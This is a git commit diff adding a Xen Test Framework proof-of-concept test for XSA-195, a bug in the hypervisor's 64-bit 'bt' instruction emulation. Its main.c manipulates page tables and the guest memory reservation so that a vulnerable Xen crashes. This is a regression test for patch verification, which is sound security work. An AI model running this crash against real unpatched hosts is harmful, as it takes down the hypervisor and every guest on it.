]> xenbits.xensource.com Git - people/andrewcoop/xen-test-framework.git/commitdiff
XSA-195 PoC
authorAndrew Cooper <andrew.cooper3@citrix.com>
Wed, 2 Nov 2016 18:44:43 +0000 (18:44 +0000)
committerAndrew Cooper <andrew.cooper3@citrix.com>
Wed, 30 Nov 2016 19:18:11 +0000 (19:18 +0000)
Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
docs/all-tests.dox
tests/xsa-195/Makefile [new file with mode: 0644]
tests/xsa-195/main.c [new file with mode: 0644]

index 71e27c02686aa23ce0814570b4c683c844ff5178..f38372bc59eb6ee109f000a6b3a00695556fe3eb 100644 (file)
@@ -73,6 +73,8 @@ address checks.
 
 @subpage test-xsa-194 - Guest 32-bit ELF symbol table load leaking host data.
 
+@subpage test-xsa-195 - x86: 64-bit bit test instruction emulation broken.
+
 
 @section index-utility Utilities
 
diff --git a/tests/xsa-195/Makefile b/tests/xsa-195/Makefile
new file mode 100644 (file)
index 0000000..6a20076
--- /dev/null
@@ -0,0 +1,9 @@
+include $(ROOT)/build/common.mk
+
+NAME      := xsa-195
+CATEGORY  := xsa
+TEST-ENVS := hvm64
+
+obj-perenv += main.o
+
+include $(ROOT)/build/gen.mk
diff --git a/tests/xsa-195/main.c b/tests/xsa-195/main.c
new file mode 100644 (file)
index 0000000..5cc2c18
--- /dev/null
@@ -0,0 +1,99 @@
+/**
+ * @file tests/xsa-195/main.c
+ * @ref test-xsa-195
+ *
+ * @page test-xsa-195 XSA-195
+ *
+ * Advisory: [XSA-195](http://xenbits.xen.org/xsa/advisory-xsa-195.html)
+ *
+ * The `bt` family of instructions can reference an arbitrary bit offset from
+ * their memory operand.  The x86 instruction emulator accounts for this by
+ * mutually modifying the both the bit index and the memory operand to make an
+ * equivalent instruction, but with the bit index strictly in the range 0 to
+ * op_bytes * 8.
+ *
+ * Before XSA-195, there was a bug with the handling of negative bit indices
+ * when contained in 64bit registers.  Xen mis-adjusted both the memory
+ * operand and the bit offset.
+ *
+ * If vulnerable, this test will cause Xen to because of accessing a
+ * non-canonical address.  If Xen isn't vulnerable, the instruction will be
+ * emulated correctly with no problems.
+ *
+ * @see tests/xsa-195/main.c
+ */
+#include <xtf.h>
+#include <xen/memory.h>
+
+#include <arch/x86/pagetable.h>
+#include <arch/x86/symbolic-const.h>
+
+const char test_title[] = "XSA-195 PoC";
+
+static intpte_t nl3t[L3_PT_ENTRIES] __aligned(PAGE_SIZE);
+static intpte_t nl2t[L2_PT_ENTRIES] __aligned(PAGE_SIZE);
+static intpte_t nl1t[L1_PT_ENTRIES] __aligned(PAGE_SIZE);
+
+void test_main(void)
+{
+    unsigned int i;
+    unsigned long *mem = _p((1ul << 47) - sizeof(unsigned long));
+    unsigned long idx = 0xfffd000000000000ull;
+
+    unsigned long mem_adjust = (8 + ((-idx - 1) >> 3)) & ~7;
+
+    /*
+     * va is the memory target which the `bt` instruction will actually hit.
+     * A vulnerable Xen mis-calculates the memory adjustment, meaning that it
+     * will attempt to read from some other address.
+     */
+    unsigned long va = (unsigned long)mem - mem_adjust;
+
+    /*
+     * Make all of the virtual address space readable, so Xen's data fetch
+     * succeeds.
+     */
+    l1_identmap[0] = pte_from_gfn(0, PF_SYM(AD, P));
+
+    for ( i = 4; i < L3_PT_ENTRIES; ++i )
+        pae_l3_identmap[i] = pae_l3_identmap[0] & ~PF_SYM(RW);
+
+    for ( i = 1; i < L4_PT_ENTRIES; ++i )
+        pae_l4_identmap[i] = pae_l4_identmap[0] & ~PF_SYM(RW);
+
+    /* Map va to pointing specifically to gfn 0. */
+    nl1t[l1_table_offset(va)] = pte_from_gfn(0, PF_SYM(U, P));
+    nl2t[l2_table_offset(va)] = pte_from_virt(nl1t, PF_SYM(U, P));
+    nl3t[l3_table_offset(va)] = pte_from_virt(nl2t, PF_SYM(U, P));
+    pae_l4_identmap[l4_table_offset(va)] = pte_from_virt(nl3t, PF_SYM(U, P));
+
+    /* Remove gfn 0 from the p2m, to cause `bt` to trap for emulation. */
+    static unsigned long extent = 0;
+    static struct xen_memory_reservation mr =
+        {
+            .extent_start = &extent,
+            .nr_extents = 1,
+            .domid = DOMID_SELF,
+        };
+    if ( hypercall_memory_op(XENMEM_decrease_reservation, &mr) != 1 )
+        return xtf_failure("Failed to decrease reservation at %#lx\n", extent);
+
+    /* Poke the emulator. */
+    asm volatile ("bt %[idx], %[mem];"
+                  :: [mem] "m" (*mem),
+                     [idx] "r" (idx));
+
+    /* If we are still alive at this point, Xen didn't die. */
+
+    xtf_success("Success: Not vulnerable to XSA-195\n");
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */